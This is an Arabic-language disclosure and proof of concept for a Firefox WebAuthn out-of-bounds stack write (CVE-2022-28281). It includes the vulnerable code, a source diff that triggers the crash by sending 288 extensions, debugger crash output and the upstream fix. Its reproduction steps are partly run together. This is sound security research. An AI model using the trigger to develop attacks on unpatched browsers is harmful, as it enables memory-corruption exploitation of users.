
إثبات المفهوم لـ CVE-2022-28281، ثغرة كتابة خارج النطاق في Mozilla Firefox.
هذا خطأ يمكن تشغيله من عملية عرض Windows Firefox المُخترقة. إذا أرسلت عملية محتوى مُخترقة عددًا غير متوقع من إضافات WebAuthN في أمر Register إلى العملية الأم، فستحدث كتابة خارج الحدود مما يؤدي إلى تلف الذاكرة وتعطل قابل للاستغلال.
تم تعيينها كـ CVE-2022-28281، وتم إصلاحها في Firefox 99 وتوثيقها في mfsa2022-13.
يمكن رؤية المشكلة في دالة WinWebAuthnManager::Register في الأسطر التالية:
void WinWebAuthnManager::Register(
PWebAuthnTransactionParent* aTransactionParent,
const uint64_t& aTransactionId, const WebAuthnMakeCredentialInfo& aInfo) {
// ...
WEBAUTHN_EXTENSION rgExtension[1] = {};
// ...
for (const WebAuthnExtension& ext : extra.Extensions()) {
MOZ_ASSERT(cExtensions <
(int)(sizeof(rgExtension) / sizeof(rgExtension[0])));
if (ext.type() == WebAuthnExtension::TWebAuthnExtensionHmacSecret) {
HmacCreateSecret =
ext.get_WebAuthnExtensionHmacSecret().hmacCreateSecret() == true;
if (HmacCreateSecret) {
rgExtension[cExtensions].pwszExtensionIdentifier =
WEBAUTHN_EXTENSIONS_IDENTIFIER_HMAC_SECRET;
rgExtension[cExtensions].cbExtension = sizeof(BOOL);
rgExtension[cExtensions].pvExtension = &HmacCreateSecret;
cExtensions++;
}
}
يمكن لعملية عرض مُخترقة توفير أكثر من إضافة واحدة مما يجعل الكود أعلاه يفسد ذاكرة المكدس المجاورة. لا أعتقد أنه من الممكن الوصول لهذه الحالة باستخدام جافاسكريبت عادي.
إليك كيف يبدو التعطل عند الوصول إلى صفحة حماية المكدس (عند إرسال الكثير من الإضافات):
0:007> g
(1920.298c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!mozilla::dom::WinWebAuthnManager::Register+0x30d:
00007ffc`bd4b7d9d 4c898cd4f0010000 mov qword ptr [rsp+rdx*8+1F0h],r9 ss:0000009d`48300000=????????????????
0:007> kp
# Child-SP RetAddr Call Site
00 0000009d`482fe4c0 00007ffc`bd4b7a6d xul!mozilla::dom::WinWebAuthnManager::Register(class mozilla::dom::PWebAuthnTransactionParent * aTransactionParent = <Value unavailable error>, unsigned int64 * aTransactionId = 0x0000009d`482fe778, class mozilla::dom::WebAuthnMakeCredentialInfo * aInfo = <Value unavailable error>)+0x30d [c:\mozilla-source\mozilla-unified\dom\webauthn\WinWebAuthnManager.cpp @ 301]
01 0000009d`482fe710 00007ffc`bb7f1f88 xul!mozilla::dom::WebAuthnTransactionParent::RecvRequestRegister(unsigned int64 * aTransactionId = <Value unavailable error>, class mozilla::dom::WebAuthnMakeCredentialInfo * aTransactionInfo = <Value unavailable error>)+0x1d [c:\mozilla-source\mozilla-unified\dom\webauthn\WebAuthnTransactionParent.cpp @ 27]
02 0000009d`482fe740 0000009d`482fe680 xul!mozilla::dom::PWebAuthnTransactionParent::OnMessageReceived(class IPC::Message * msg__ = 0x0000009d`482fe680)+0x1c8 [c:\mozilla-source\mozilla-unified\obj-x86_64-pc-mingw32\ipc\ipdl\PWebAuthnTransactionParent.cpp @ 257]
لقد تحققت من وجود المشكلة في أحدث شجرة متاحة؛ إليك مكان مزامنة شجرتي:
$ hg log
changeset: 679353:0fae6a6b254a
bookmark: autoland
tag: tip
user: Jamie Nicol <[email protected]>
date: Tue Feb 15 20:26:12 2022 +0000
summary: Bug 1755375 - Don't generate crash reports when android kills the GPU process. r=agi
يؤثر الخطأ فقط على Windows ولا يحتاج إلى أي أجهزة محددة لإعادة الإنتاج.
$ hg diff
diff --git a/dom/webauthn/WebAuthnManager.cpp b/dom/webauthn/WebAuthnManager.cpp
--- a/dom/webauthn/WebAuthnManager.cpp
+++ b/dom/webauthn/WebAuthnManager.cpp
@@ -367,16 +367,19 @@ already_AddRefed<Promise> WebAuthnManage
if (!MaybeCreateBackgroundActor()) {
promise->MaybeReject(NS_ERROR_DOM_OPERATION_ERR);
return promise.forget();
}
// TODO: Add extension list building
nsTArray<WebAuthnExtension> extensions;
+ for (size_t i = 0; i < 288; i++) {
+ extensions.AppendElement(WebAuthnExtensionHmacSecret(true));
+ }
// <https://fidoalliance.org/specs/fido-v2.0-ps-20190130/fido-client-to-authenticator-protocol-v2.0-ps-20190130.html#sctn-hmac-secret-extension>
if (aOptions.mExtensions.mHmacCreateSecret.WasPassed()) {
bool hmacCreateSecret = aOptions.mExtensions.mHmacCreateSecret.Value();
if (hmacCreateSecret) {
extensions.AppendElement(WebAuthnExtensionHmacSecret(hmacCreateSecret));
}
}
windbgx -p <pid>)$ ./mach run --debug
$ python3 -m http.server
http://localhost:8000/trigger.html0:007> g
(1920.298c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!mozilla::dom::WinWebAuthnManager::Register+0x30d:
00007ffc`bd4b7d9d 4c898cd4f0010000 mov qword ptr [rsp+rdx*8+1F0h],r9 ss:0000009d`48300000=????????????????
0:007> kp
# Child-SP RetAddr Call Site
00 0000009d`482fe4c0 00007ffc`bd4b7a6d xul!mozilla::dom::WinWebAuthnManager::Register(class mozilla::dom::PWebAuthnTransactionParent * aTransactionParent = <Value unavailable error>, unsigned int64 * aTransactionId = 0x0000009d`482fe778, class mozilla::dom::WebAuthnMakeCredentialInfo * aInfo = <Value unavailable error>)+0x30d [c:\mozilla-source\mozilla-unified\dom\webauthn\WinWebAuthnManager.cpp @ 301]
01 0000009d`482fe710 00007ffc`bb7f1f88 xul!mozilla::dom::WebAuthnTransactionParent::RecvRequestRegister(unsigned int64 * aTransactionId = <Value unavailable error>, class mozilla::dom::WebAuthnMakeCredentialInfo * aTransactionInfo = <Value unavailable error>)+0x1d [c:\mozilla-source\mozilla-unified\dom\webauthn\WebAuthnTransactionParent.cpp @ 27]
02 0000009d`482fe740 0000009d`482fe680 xul!mozilla::dom::PWebAuthnTransactionParent::OnMessageReceived(class IPC::Message * msg__ = 0x0000009d`482fe680)+0x1c8 [c:\mozilla-source\mozilla-unified\obj-x86_64-pc-mingw32\ipc\ipdl\PWebAuthnTransactionParent.cpp @ 257]
تم إصلاحه بالالتزام التالي 6afb1478d46a:
--- a/dom/webauthn/WinWebAuthnManager.cpp
+++ b/dom/webauthn/WinWebAuthnManager.cpp
@@ -282,20 +282,22 @@ void WinWebAuthnManager::Register(
case AttestationConveyancePreference::None:
winAttestation = WEBAUTHN_ATTESTATION_CONVEYANCE_PREFERENCE_NONE;
break;
default:
winAttestation = WEBAUTHN_ATTESTATION_CONVEYANCE_PREFERENCE_ANY;
break;
}
+ if (extra.Extensions().Length() > (int)(sizeof(rgExtension) / sizeof(rgExtension[0]))) {
+ nsresult aError = NS_ERROR_DOM_INVALID_STATE_ERR;
+ MaybeAbortRegister(aTransactionId, aError);
+ return;
+ }
for (const WebAuthnExtension& ext : extra.Extensions()) {
- MOZ_ASSERT(cExtensions <
- (int)(sizeof(rgExtension) / sizeof(rgExtension[0])));
-
if (ext.type() == WebAuthnExtension::TWebAuthnExtensionHmacSecret) {
HmacCreateSecret =
ext.get_WebAuthnExtensionHmacSecret().hmacCreateSecret() == true;
if (HmacCreateSecret) {
rgExtension[cExtensions].pwszExtensionIdentifier =
WEBAUTHN_EXTENSIONS_IDENTIFIER_HMAC_SECRET;
rgExtension[cExtensions].cbExtension = sizeof(BOOL);
rgExtension[cExtensions].pvExtension = &HmacCreateSecret;